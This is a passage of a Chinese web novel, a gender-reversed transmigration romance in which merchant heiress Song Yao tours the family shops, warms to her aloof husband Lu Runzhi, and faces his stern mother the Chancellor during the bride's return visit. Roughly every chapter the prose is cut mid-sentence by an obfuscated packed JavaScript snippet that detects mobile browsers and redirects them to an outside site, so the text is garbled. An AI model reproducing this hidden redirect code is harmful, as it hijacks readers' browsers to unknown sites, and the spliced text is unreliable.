宋瑶不乐意了,“母亲这话可是看低我了。” 宋琼挑眉,“怎么?难不成你的所作所为不让人看低。” 宋瑶无法反驳,只刻意转移话题道:“母亲,快快吃饭吧。” 两人安静地用完了餐,宋父从房间出来,拿了件黑色披肩,走到宋琼身边关怀道:“妻主,将这披肩披上吧,昨日大雪,今日必定寒冷。” 宋琼上前握住他的手,心疼道:“不是让再睡一会儿,怎么起来了?” 李容:“我这不是担心你……” 宋瑶在旁边看了一眼你侬我侬的戏码,不由得牙酸,“啧啧啧……” 李容这才意识到女儿也在呢,慌忙放开了妻主的手,脸上闪过一抹不自然,“瑶瑶也在啊。” 宋瑶扔了磕花生进嘴里,吊儿郎当道:“不在啊,你们继续。” 李容脸上一阵红。 “你不说话没人当你是哑巴!”宋琼赏了一颗暴栗给混不吝的女儿,瞪了她一眼,转身对夫郎道:“你且安心在家等我晚上回来。” 宋琼带着宋瑶乘车去商铺,路上时不时显摆一下她的大氅,起初宋瑶还觉得她娘还挺骚包,后面听了两句话觉得不对味了。 “哎呀,夫郎亲手送的大氅就是暖和,一点都不冷了。” “有个温柔体贴的夫郎就是好。” …… 宋瑶咂摸出点味儿来了,她娘亲这是在显摆呢,暗自嘲笑她没有温柔体贴的夫郎。 没办法。 宋瑶实在想象不出来陆润之温柔体贴的模样,他那样的人似乎天生应该高高在上,被人伺候。 按照原著,如果哪一天他真温柔体贴了起来,她们宋家也命不久矣。 娶他就等于娶了一尊大佛回来,那位未来可是要做皇帝的人,原主真是色心胆大。 宋瑶有些忧虑。 宋琼瞧着女儿“黯然神伤”的模样,不由得善心大发,忍不住提点道:“你也别难过,男人嘛,都那样,你要你好好待人间,总有一天会赢得美人芳心的,想当初你爹那叫一个泼辣,最后还不是化成如今的绕指柔,主要是你娘亲我真心相待……” 宋瑶:“……” 并不想接话。 母女两人扯皮完,宋琼才正了正色,开始给她介绍宋家的商业版图。 宋瑶不由得唏嘘,她们家也太有钱了!生意涉及美食娱乐纺织等多种版块,富可敌国是真的。 怪不得能娶到丞相家的公子,估计也颇受上面忌惮。 宋琼先带着她视察了几间规模较大的商铺和酒楼,午饭过后,开始跟人谈生意。 宋瑶总算见识到她亲娘为什么能做上全国首富的位置,因为她谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419510|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意的时候真他妈的不要脸! 主打一个笑面虎,舌战群儒,脸皮厚,心黑,将厚黑学发挥的淋漓尽致,真是像极了前世的她。 怪不得她能穿过来成为她的女儿,宋瑶甚至觉得这是上天注定的缘分。 最后在跟一个茶商交涉的时候,那茶商十分难缠,宋瑶看不下去,加入战场,稍稍使了一分力,跟宋琼一唱一和,母女俩忽悠地那茶商心满意足地签下了商契,还送了她们一盒极其珍贵的上等茶叶。 结束后,宋琼狠狠灌了两杯茶,长舒一口气,“那老狐狸真难缠,可累死我了!”拍了拍宋瑶的肩膀,“没想到啊,你还是个小狐狸哈哈哈哈哈哈,不愧是我宋琼的女儿,不错!” 老狐狸眼中闪过一丝精光,快地宋瑶几乎没有捕捉到,心中闪过一丝不详的预感,但很快她这个老母亲又恢复了正常,宋瑶也没当回事。 甚至宋琼还因为她今天出色的表现,奖励了她一千两银子。 宋瑶真切地感受到了如今家里的有钱程度。 忙碌了一天,两人一起回家。 路过一家炒板栗的小摊事,宋琼停下,亲自去买了一份炒板栗。 宋瑶伸手就要去拿,却被宋琼拍开,“这是我给你爹爹买的,想吃自己买去。”顿了一下,“话说,你回家都不给夫郎带东西的吗?” 宋瑶:“……” 宋琼鄙夷地看了她一眼。 在老母亲鄙夷的目光中,宋瑶硬着头皮下去买了一包炒板栗,虽然她觉得比起炒板栗,陆润之会更喜欢那罐上等茶叶。 12. 第十二章 第十二章 许是太久没有动弹,宋瑶只出去一天回来,便觉得有些疲惫,早知道她以前忙的时候可是三天都不沾床的。 果然是现在的日子太舒服了。 宋瑶回到自己的院子,刚好赶上吃饭,不知道是她辟了间书房给陆润之的缘故,还是怎么,她总觉得今天他那贴身小侍对她态度好不少。 宋瑶进屋,抖落了披肩上的雪,走到火炉旁边暖了暖手,方才觉得怀中有什么东西暖暖的,掏出一看,是她买的糖炒栗子,还热乎着。 她掏出来,随手递给了陆润之,“喏,给你带的。” 陆润之莫名奇妙被塞了一包小食,他微微一愣,“这是什么?” 宋瑶有些新奇地看了他一眼,“糖炒栗子,你不知道吗?” 陆润之摇摇头。 宋瑶惊讶,叹了一句,“你当真是大门不出二门不迈。” 陆润之摇摇头,“也是会去一些地方的。” 宋瑶懂了,大家公子,去的地方肯定也是不食人间烟火的,跟她这种市井小民不一样。 宋瑶等全身暖了,走到他对面坐下,捻了一颗焦黄的板栗剥开,将板栗仁递给陆润之,“尝尝。” 陆润之接过,乖乖听话的模样倒是冲淡了几分他身上那股距离感。香甜软糯的口感,裹着一股炭烧的味道,他第一次尝试。 宋瑶笑着又给他递了一颗,“如何?” 陆润之矜持地给予了评价,“尚可。”动作却还是接过了她递过来的板栗仁。 虽然只一起吃了三顿饭,宋瑶还是摸清了他那点饭量,没再给他剥,“当个零食尝尝即可,待会儿吃饭了。” 陆润之也没打算再吃,从小他就被教育任何事情都要浅尝辄止。 两人安安静静吃了饭,彼此都还有些陌生感,并未像寻常夫妻那般闲聊。 宋瑶是个闲不住的,若是天气暖和,她倒可以吃完饭出去溜达溜达,但此时正值严冬,最好还是待在房间里。 宋瑶歪在暖炕上,心里琢磨着家里的生意。 “要下棋吗?” 一道清润的声音拉回她的思绪。 难不成她一包板栗的功劳? 宋瑶有些惊讶,视线落在陆润之身上,“好啊。” 连输三局以后。 宋瑶倒是觉得没什么,没办法,实力悬殊太大,“跟我这样水平的下棋不会觉得无聊吗?” 就像一个已经坐拥商业帝国的总裁去跟一个实习生谈生意,随随便便就可以将对方踩死。 陆润之没有回答她,只道:“你进步的很快。” “你可真会说话。”宋瑶扔下棋子,她的目光落在陆润之脸上,觉得下棋还不如灯下看美人有趣,于是便直勾勾地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419511|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着人看。 她娶回来的,碰不得,还看不得了。 宋瑶边欣赏,边忍不住闲聊,“你今天在家怎样?书房有没有什么不喜欢的,还需要改动吗?” 陆润之:“尚可,没有什么需要改动的。” 宋瑶捻了一颗花生米扔嘴里,“明天我还要跟母亲出去。” 陆润之的动作一顿,抬眼对上她的视线,目光沉静。 宋瑶愣是从他沉静的目光中读出了一丝……威压,“怎么了吗?” 陆润之:“明天是我三朝回门的日子。” 宋瑶愣了一下,随即反应过来,歉意道:“我怎么把这事儿忘记了,明天我肯定跟你一起回去。”想了想,“东西都安排好了吗?” 陆润之垂下眼眸,轻轻嗯了一声。 宋瑶松了一口气,“那就行。” “既然如此,今天早点睡吧。”宋瑶直起身,目光瞥到他略微僵住的身体,装似不经意道:“晚安,明天见。” 说着她就要往外走。 她记得昨天晚上说过的,今天再分房睡,或许刚刚就不应该留下来,给他那么大心理压力。 宋瑶心里琢磨。 衣袖忽然被拉住。 宋瑶莫名回头。 陆润之嘴唇微抿,微黄的灯光下,他的长睫轻轻煽动,“你是不是,对我有什么不满?” 13. 第十三章 第十三章 微黄的灯光下,他低垂着眼睫,睫毛浓密,如轻轻颤动的蝶翼,嘴唇轻抿,眼眸中流露出一丝不解和委屈,攥着她衣袖的手指修长,指节分明,好看极了。 宋瑶一愣,随即回过神来,在心里低骂了自己一句,真是混账,这个时候还觊觎人家美色。 其实不怪宋瑶,书中设定陆润之容颜绝色,千古第一美人,而宋瑶偏偏是个颜控,面对他那张脸,不犯迷糊才怪。 “怎么会这么认为?”宋瑶回过神,轻声问道,面对这样一个美人,她大声说话,都怕吵着人家,更别说有什么不满了。 她到底做了什么事,才让这祖宗这么认为,真是冤枉。他长这么好看,她喜欢还来不及呢。 陆润之松开她的衣袖,抬起眼,望着她,“那你为什么去别的房间?” 宋瑶:“你想跟我睡?” 话落,宋瑶恨不得咬断自己的舌头,呸,这是什么话,怎么能对他说出这么流里流气的话,改不掉的臭毛病! 果不其然,陆润之微微蹙眉,偏头不去看她,这句话在他看来,哪怕是夫妻也有些冒犯。 宋瑶脸皮厚,权当没说过这话,轻咳一下,掩饰尴尬,缓缓道:“我的意思是,我知道你不想跟我睡在同一个房间,所以我尊重你的想法。” 她说完,等着陆润之的反应。 良久,陆润之才轻轻说道:“我没有那个意思。”顿了一下,“若分房睡,传出流言不好。” 宋瑶转念一想,便明白他的顾虑,陆润之作为丞相之子,从小被当做天下男子的模范教导,如果不是半路杀出个原主,他以后必定是皇夫,目前的他还没黑化,在他的观念中,即使不愿意,也还是得遵从三从四德。新婚夫妻分房睡,若传出去,尤其是被老古板丞相知道,恐怕免不了一顿教育。 明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419512|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟她睡的时候,躺在床上身体紧绷,一有风吹草动就会惊醒,却还是勉强自己。 宋瑶:“既然这样,我吩咐府中的下人不能乱嚼舌根就是了。” 陆润之一愣。 宋瑶又补了一句,“母亲父亲那边,我与他们解释,咱们怎么自在怎么来。” 陆润之眸光微动,心下泛起涟漪,通过这两天的相处,眼前的宋瑶虽不喜欢读书,但聪慧、坦荡、体贴,若是如此,那之前与新婚夜是为什么。 宋瑶一笑,“那咱们就这么说好了。” 话落,她准备离去。 “宋瑶。” 陆润之叫住了她,“明天回门,可以配合我一下吗?” 他没点名什么,宋瑶却了然,笑道:“自然可以。” 只怕明天回门没那么简单,宋瑶作为一个商人,最讨厌与政客打交道。 “早点歇息,我的夫郎。” 14. 第十四章 第十四章 第二天一早,宋瑶就被摇醒了,被一群人伺候着梳妆打扮,不知道的还以为她要出嫁呢。 等到她被人伺候着换衣服时,觉得脑袋有些沉,睁眼瞧了一下,吓了一跳,镜子里的她从头到脚珠光宝气,无不散发着一种暴发户的气息。 宋瑶无语了三秒,开始取下手上的扳指,再拔掉头上的朱钗。 身旁的小侍忙阻止她,“少家主,这可使不得,主君特地吩咐要给您好好打扮一番,万不可在丞相府失了面子。” 照她这么打扮,绝对是整条街最靓的仔。 宋瑶指着自己的头发,语气不容拒绝,“给我拆了,梳一个简单的发髻就好,换成平日里穿的衣服就好。” 小侍有些为难,“这……” 宋瑶:“快点,父亲那边,就说是我的意思。” 小侍:“是。” 最终宋瑶换上了平日的穿着,一身轻松,然后去陆润之的房中,两人一起用餐。 陆润之也已经穿戴整齐,两人都穿了浅蓝色系的衣装,像是约定好了一样,同框出现时竟显得格外般配。 清连摇了摇头,他在想什么,公子怎么可能跟眼前这个胸无点墨的粗妇般配,他怎么能有这种想法,简直玷污了公子,千万不能被这个女人的皮囊迷惑。 两个当事人对各自的穿着没有感觉,显得分外淡定,如同往日一样吃了早餐。 宋瑶一贯畏寒,临出发前,让小侍取了大氅裹得严严实实,手里捧着汤婆子,在小侍一言难尽的目光中,满足地眯起了眼睛,她不喜欢没苦硬吃 清连则是毫不掩饰地鄙视,一个女人家的,竟然比他们还怕冷。 宋瑶把自己裹得舒服了,看到陆润之衣衫单薄站在冷风中,心道这人怕不是有什么自虐倾向,明明跟她一样怕冷,却什么御寒的装备也没有,于是又命小侍取了一套大氅和汤婆子过来,让他披上。 陆润之拒绝。 宋瑶也不跟他争,只看着他说了一句,“你是要我帮你披上吗?” 陆润之对上她的眼睛,知道拗不过她,乖乖披上,手里揣着汤婆子,但是说道:“我母亲极不喜欢如此。” 能让他这么说,看来陆丞相是真的很喜欢没苦硬吃。 宋瑶无所谓道:“那我们到地方脱掉就是,在咱们家,自然是怎么舒服怎么来。” 咱们家。 陆润之还不熟悉这个词,他没接话,只是握紧了汤婆子,汲取温暖。 陆宅大门前,宋琼和李容已经在等着,李容看到宋瑶远远走来,跟往常一样一身素,顿时拧起眉,接着看到宋瑶身旁的陆润之也是一身素,两人看起来还挺般配,额头又舒展开来。 李容准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419513|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备的回门礼,足足有半条街,赶得上陆润之加进来的阵仗,给足了陆润之面子。 陆润之过来浅浅行了个礼。 宋琼跟李容依旧受宠若惊,最后简单交代了几句,主要是对着宋瑶的。 “我告你啊,见到丞相大人后一定收起你那副吊儿郎当的模样,别没大没小的,态度要恭敬,听到没有。”李容很不放心这个逆女。 宋瑶懒懒散散道:“是是是,父亲大人,我知道了。” 李容扯了一下她裹在身上的大氅,没扯动,恨铁不成钢道:“到了丞相府给我脱下来,听到没有,娇娇弱弱的,像什么样!” 宋瑶举手投降,“我向您保证,一定一定。” 陆润之看着宋瑶跟李容之间的相处模式,愣了一下。 马车上,宋瑶坐了一会儿,有些无聊,便开始犯困,她看了一眼陆润之,发现他面色紧绷,似乎有些紧张,转念一想,便明白了,从小得不到父母认可的孩子在面对父母是总是紧张又忐忑。 宋瑶本来觉得无所谓,现在却发现有些不一样了。 他这么紧张,却没要求她做什么。 “润之。”宋瑶吐出这两个字,有些陌生。 陆润之抬起头,看她。 宋瑶征求他的意见,“待会儿我这么叫你可以吗?” 她并不知道他的小字。 15. 第十五章 第十五章 陆润之定定地看了她半响,黝黑的眸中一片沉静。 宋瑶摸不着头脑,顿了一下,试探着问道:“那我唤你……夫郎?” 陆润之拢了拢衣袖,将手藏进衣袖中,悄悄握了握,叹了口气,才道:“你唤我子澈吧。” “子澈。”宋瑶重复了一下,“这是你的字吗?” 陆润之点点头,“对。” 宋瑶随口叹了句,“看来陆丞相对你寄予厚望。” 陆润之眸中一抹暗色滑过,却没有说什么。 宋瑶捕捉到他眼底的晦暗,看了一眼他的神色,岔开了话题,“你同我说说,待会儿见了丞相,需要什么,才能挽回我的形象呗。” 陆润之的目光落在她身上,见她面若桃花,肌肤白皙细腻,比男子带了妆还要漂亮几分,单是这幅样貌,在他母亲那里就已经不讨喜了,更别提她做过的事了。 宋瑶摸了摸自己的脸,震惊道:“不会吧,难道我已经没救了?” 陆润之眼中滑过一抹笑意,“可以这么认为。” 宋瑶直接往后一瘫,“那完蛋了。” 陆润之:“唔,也不是完全没救了。” 宋瑶猛地直起身体,睁大眼睛,“好哇,你逗我!” 陆润之眼含笑意,眸若星辰。 宋瑶抱着胳膊哼哼两声,“看在你长得这么好看的份上,我就不跟你计较了,快说怎么救。” 陆润之长这么大第一次被人正面夸奖,有些不好意思,顿了顿,才说道:“母亲是个极为守礼之人,你见了她记得同我一起唤她母亲,注意食不寝,饭不语。除此之外……”扫了一眼她的大氅和暖手炉,“母亲尤其不喜欢娇弱之人,所以见她时最好只着单衣。” 宋瑶拢了拢暖烘烘的大氅,点了点头,看起来听得很认真,“还有吗?” 还有很多,刚才说的只是不被母亲厌恶的点,其它的陆润之忽然不想说了,因为无论怎么做,陆丞相都不会满意的,何必徒增烦恼,他摇了摇头,“母亲确实严厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419514|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了些,你不用太在意。” 宋瑶:“那你呢?” 陆润之敛了眸,轻声说了一句,“她毕竟是我的母亲。” 宋瑶又问:“那如果我令她生气了,你会不会生我气?” 陆润之失笑,“我怎么因为这个生你气。”或者说他早就知道她如何都不会讨母亲欢心的。 宋瑶点点头,“我知道了。” 说话间,宋瑶挑开了窗户的帘子,街上人群熙熙攘攘,格外热闹,随口说了一句,“等哪天带你出去玩儿。” 等了半天,陆润之才轻轻“嗯”了一声。 宋瑶的目光正被一个画糖人的小摊吸引,没听清,更是转头忘得一干二净,以至于后来陆润之委屈地问她不是说好带他出去玩时,她一脸懵,把人惹得三天没让她进房门。 没过多会儿,两人就到了丞相府前,陆润之早就把披风和暖守护放在一边,宋瑶也没阻止。 下车时,宋瑶裹着她的华贵大氅,就这么出现在陆丞相的眼前。 16. 第十六章 第十六章 寒风凛冽,陆丞相身形清隽,面容严肃,不怒自威,只穿着棉衣站在寒风中,哪怕迎着刺骨的寒风,身影依旧向竹子一样挺拔,而她身边的仆从则跟她一样。 听说陆润之的爹爹去世后,陆丞相便没有再续弦,连个侍君都不曾有,独自将陆润之抚养长大,由此可见,陆丞相对唯一的公子陆润之寄予多大的厚望,此番宋瑶更不会得到什么好脸色。 在陆丞相眼中,宋瑶就是个满身铜臭,不学无术的草包,她此生都没想到自己的孩子会嫁给这样一个人。 果不其然,当宋瑶裹得严严实实从马车上下来,衣衫华贵,身影高挑,面若桃花,比男子还好看,陆丞相的脸当即就黑了。 宋瑶先下车,随即握着陆润之的手,将他从马车上扶下来,动作十分自然,倒是陆润之,在宋瑶握住他手的瞬间,僵硬了一瞬,她的掌心十分温暖,衬得他的手冷得像冰块。 待陆润之站稳之后,宋瑶才放开他的手,接着规规矩矩地同陆润之一起行了个礼,叫了一声“母亲”。 陆丞相黑着脸,她跟润之都衣衫单薄地站着,这个女人怎么好意思裹着大氅的,比男人还娇气,脸皮却不是一般的厚。 陆润之低眉顺眼,与往日模样一般,但是宋瑶却感觉到他浑身紧绷。 陆丞相心中的不满快要溢出来,但是陆丞相是个体面人,还是黑着脸点了点头,声线很冷,“回去说。” 恰逢今日休沐,陆丞相没有去上朝,也是赶巧。 陆丞相的脚步又快又急,宋瑶揣了揣手,不得不迈大步子跟上,好在她前世为了干业务,比这更快的速度都有过,所以也不至于狼狈到小跑,丢了面子。 嗯,有时候宋瑶还挺爱面子的。 今日无雪,天色放晴,但是却比下雪时更冷,宋瑶注意到身侧的夫郎冻得面如纸色,他一贯是怕冷的,更何况被她娇养了两天,更见不得冷了,按照陆丞相的性子,厅堂肯定是没有暖炉的,照这么冻下去,她家好看的夫郎冻傻了怎么办。 宋瑶在心里琢磨着,她肯定是见不得自己人受冻的,万一陆丞相要与她们促膝长谈,这不得把人冻病了,最后心疼的还是她,人现在是已经嫁给她了,日后又不在陆丞相身边,实在没必要没苦硬吃。 这么一想,宋瑶解开大氅,罩在了陆润之肩头。 携着温度与熟悉香味的大氅落在肩头,陆润之一愣,随即反应过来非常抗拒,眼神讳莫如深,就要拿开。 陆丞相自然注意到了宋瑶的动作,她眯了眯眼,不怒自威。 宋瑶强硬地阻止了陆润之的动作,“我有点热,你帮我拿着。” “让青连拿着吧。”陆润之的语速比平常稍快,如果不注意根本察觉不到,他有点紧张了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋瑶放下茶杯,朝陆丞相露出了一个自以为很得体的笑容,然而陆丞相瞬间黑了脸,冷哼一声,宋瑶这一笑,那双桃花眼愈发潋滟,陆丞相更加不满,这女人空有皮囊,一看就是风流多情的渣女,若不是润之身后有丞相府,指不定这女人要纳多少夫侍。 不过没关系,她陆清在世一日,绝不会让润之在宋家受委屈。 宋瑶:“……” 陆丞相心里一番计较,面上不显,宋瑶却觉得岳母大人落在她身上的目光愈发不善。 老管家握着陆润之的手一阵嘘寒问暖后,陆丞相对着陆润之挥了挥手,“润之,你先下去,我有话同宋瑶单独说。” 陆润之看了母亲一眼,似是犹豫。 陆清当即不满地皱眉,“怎么,我还会吃了他不成?” 陆润之当即俯身一拜,“润之告退。” 他路过宋瑶朝她看了一眼,宋瑶朝他安抚一笑。 老管家随陆润之一同出去,只剩陆清和宋瑶。 在陆清不善的眼神中,宋瑶识趣地从椅子上起来,恭恭敬敬作了个揖,抬起眼看她,“不知岳母大人有何指教。” 陆清一双犀利的眸子盯着她,陆丞相能做到如今一人之上万人之下的位置,靠的可不只是一身学识,很少人能在她如此有压力的眼神下还能淡定地回望她,宋瑶是为数不多的其中一个。 陆清微微敛了眼神,却没让她坐下,沉声问道:“四书五经可曾读过?” 宋瑶:“读过。” 陆清继续问道:“对修身齐家治国平天下有何看法?” 宋瑶顿了顿,立刻便知这是陆清拐着弯问她的志向,可惜她志不在官场,倒也可以为了讨丞相欢心做做样子,但一旦承诺了,日后必要做到,否则陆丞相不会放过她的。 宋瑶想了想,索性坦白道:“古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知。” 陆清眼中露出一抹诧异,心道倒也没有传闻中草包,点点头,“提亲那日,你母亲向本相保证过你日后定会勤加读书,参加科举,如今进度如何?” 宋瑶回想了一下,确有此事,原主当时为了娶人回家,什么条约都答应了,怪不得宋母总是叮嘱她读书。 这世道想读书的人得偷偷读,不想读书的人被逼着读。 陆清扫了她一眼,见她不说话,眯了眯眼,杯子重重一放,发出声响,冷声道:“怎么,莫不是当时诓本相不成?” 宋瑶道:“儿媳不敢欺瞒岳母大人,只是儿媳确实志不在此。” 陆清目光锁住她,眼底隐隐有怒,“志不在此?难道你是打算坐吃山空,一点也不为日后考虑吗?堂堂女子,竟打算如此窝囊苟活于世!” 真是蠢货,有丞相这个岳母竟然还不想着走仕途,陆清虽没打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419516|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在科举上帮她,但若是她日后入了仕途,她总会看在润之的面子上指点一二,谁知这蠢货如此不知好歹。 陆清声音微沉,充满怒火,若是跟在丞相身边的人就会知道丞相很久没有发这么大脾气了。 宋瑶倒面色不改。 陆润之在自己未出嫁前的房间里,房中没有碳火在烧,他依旧披着宋瑶厚实的大氅,却仍觉得几分寒冷,他裹了裹衣服,突然一顿,这才在宋家没多久,竟然习惯了温暖的环境,果然由奢入俭难。 这边,清连得意洋洋地进来,“公子,我方才听管家说丞相大人对宋瑶发了好大一通脾气,隔着老远都能听到,宋瑶肯定没有好果子吃。” 陆润之微微皱眉,下意识站起来,又顿住,他去了也无济于事,只会火上浇油,依照母亲性子,一定是考她学识了,宋瑶肯定答不上来。 陆润之复又坐下,对清连道:“你去把管家叫来。” 清连不知公子要做什么,依旧照做。 这厢,陆丞相对着宋瑶一通大骂,引经据典,怒斥她不求上进。 宋瑶低眉顺眼,任由她骂,等丞相大人骂完,还贴心地上去给她倒茶,笑得没脸没皮,“岳母大人,您喝口茶,润润嗓子。” 像是一拳打在棉花上。 陆丞相:“……” 此时管家进来,“大人,公子有事找您。” 陆丞相冷呵一声,剜了宋瑶一眼,酸酸道:“这就护上了。” 18. 第十八章 第十八章 陆清虽本就看不惯宋瑶那副胸无大志还厚脸皮的模样,这样知道自家儿子还十分护着这女人,心中更加不爽,直接一甩袖子,阔步离开了大堂。 宋瑶恭敬地将陆丞相送了出去,虚虚吐出了一口气。 周管家瞧着宋瑶面色如常,不由心道,竟然能被丞相骂过以后还保持淡定,不知应该说她心大还是脸皮厚。 管家从小看着陆润之长大的,在她眼中,公子无论是才情、样貌、家世、性格,都是顶好的,宋瑶纵使家缠万贯,也是高攀不起的,但是木已成舟,也没有办法。 只怕公子心中有憾,郁结于心啊。 管家带着宋瑶往陆润之的院子走去,路上宋瑶瞧着她几番欲言又止,憋得难受的慌,于是她善解人意道:“周奶奶,有话您直说便是。” 周管家见她笑意盈盈,面若桃花,倒不由得晃了神,也只有这样貌同公子般配了,她心里叹了口气,才道:“老妇是个粗人,便直接说了,我们家公子从小被丞相当做未来皇夫教导,喜欢什么事儿都往心里憋着,也不同于寻常公子那般温柔小意,还请宋少主多多包容。” 宋瑶听闻她的话,同意似的点点头,“周奶奶哪里的话,我与子澈既已为妻夫,这本是我该做的。” 周奶奶将她送到,叹了口气,朝宋瑶微微躬身,“万望宋少主日后修身齐家,不负丞相所托。” 宋瑶微微颔首,瞧着周奶奶的背影绷得挺直,渐渐走远,她方推门而进,见陆润之端坐在塌上,面色淡淡的,看似一如往常,但宋瑶却觉得他自从踏入陆府,便浑身紧绷,就像这府的每一个人一样,就连他的随身小侍青连都沉默许多,仿佛不是回家,是来到了皇宫,宫规森严。 青连此刻见了她,不似在宋府那般高傲,反倒是规规矩矩行了一礼。 屋内寒冷,却仍未烧炭,宋瑶转念一想就知缘由,这陆丞相虽学识渊博,却有些不知变通,就是迂腐。 从宋瑶进来,陆润之就在暗暗打量她,未来她眼底发现一丝不悦,倒是有些惊奇,装作不知情况问道:“母亲同你说什么了?” “你猜猜。”宋瑶在他对面坐下,拿了个核桃,轻而易举捏碎了,这个世界女子力气比男子大些,这点她很满意。 陆润之见她不在意的模样不似作假,心底松了口气,连他自己都未曾意识到。 宋瑶将剥好的核桃放在盘子里,推到他面前。 陆润之说道:“母亲虽严厉了点,却并无恶意,她的话你不必放在心上。” 宋瑶有些惊讶,他这是在安慰她,于是笑着点点头,“我并没有放在心上,倒是你,冷吗?” 她忽然这么愣,陆润之一愣,随后摇头,其实是有些冷风。 宋瑶知道他怕冷,但此刻也不能让下人把碳点着,不由得叹了口气,没苦硬吃。 陆润之看她,“为何叹气?” 宋瑶:“我冷。” 陆润之:“……” 青连:“……”公子都没说什么,她一个大女人还好意思寒冷,真是。 宋瑶揣了揣手,“还是咱们家暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419517|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和啊,我想回家。” 青连:她不说还好,这么一说他也有些想回宋府了,连书房都有碳火。 陆润之目露歉意,“吃过饭我们就回去。” 他竟然感到抱歉。 宋瑶弯了弯唇,心道这公子真是哪儿哪儿都好,可惜最后是个大反派,不然她就追他了,想到原书中太女继位后丞相的下场,宋瑶不由得唏嘘,她不愿涉足朝堂,说她性情凉薄也好,她只盼到时候与陆润之好聚好散,她过她的潇洒日子,他复他的灭门之仇,不要牵连到她。 宋瑶想了想,看了陆润之两眼,做出欲言又止的模样。 果然,陆润之道:“你有话想问我?” 宋瑶张了张嘴,又垂头,一副明明很在意却又不想问的犹豫模样。 陆润之微微蹙眉,觉得这有些不像她,“怎么了?” 宋瑶似是终于鼓起勇气,凝视着他的眼睛,“子澈,我想问你关于皇太女,你嫁给我,皇太女那边,丞相……” 